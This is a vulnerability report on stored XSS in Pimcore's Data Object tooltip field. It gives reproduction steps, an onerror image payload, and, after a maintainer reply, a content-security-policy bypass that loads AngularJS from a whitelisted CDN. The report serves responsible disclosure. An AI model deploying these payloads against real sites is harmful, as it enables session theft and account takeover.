Stored XSS in Tooltip in pimcore/pimcore
Reported on
Mar 23rd 2022
Description
The Classes in Data Objects have the Tooltip field. It is vulnerable to XSS attack.
Proof of Concept
STEP1: login https://demo.pimcore.fun/admin/
STEP2: Settings->Data Objects->Classes. Then choose an item, like product Data->AccessoryPart (AP)->compatibleTo。
STEP3: add payload in tooltip field. <img src onerror=alert(1)> .then save.
STEP4: Open a AccessoryPart type Data Objects, and move the cursor on the Compatible To filed to trigger the event.
all the item contains tooltip field is vulnerable to the attack.
Impact
This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.
@mylong Hi, Pimcore comes with generic XSS protection handler, which is implemented on https://10.x-dev.pimcore.fun/admin. please try to reproduce the problem on master demo instance.
seems the csp works. since unpkg is in the whitelist. I can temporary use the following way to bypass the csp.
STEP1:
STEP2:
POC: <Iframe SrcDoc="<Script Src=https://unpkg.com/angular@1.6.0/angular.min.js></Script><K Ng-App>{{$new.constructor('alert(1)')()}}">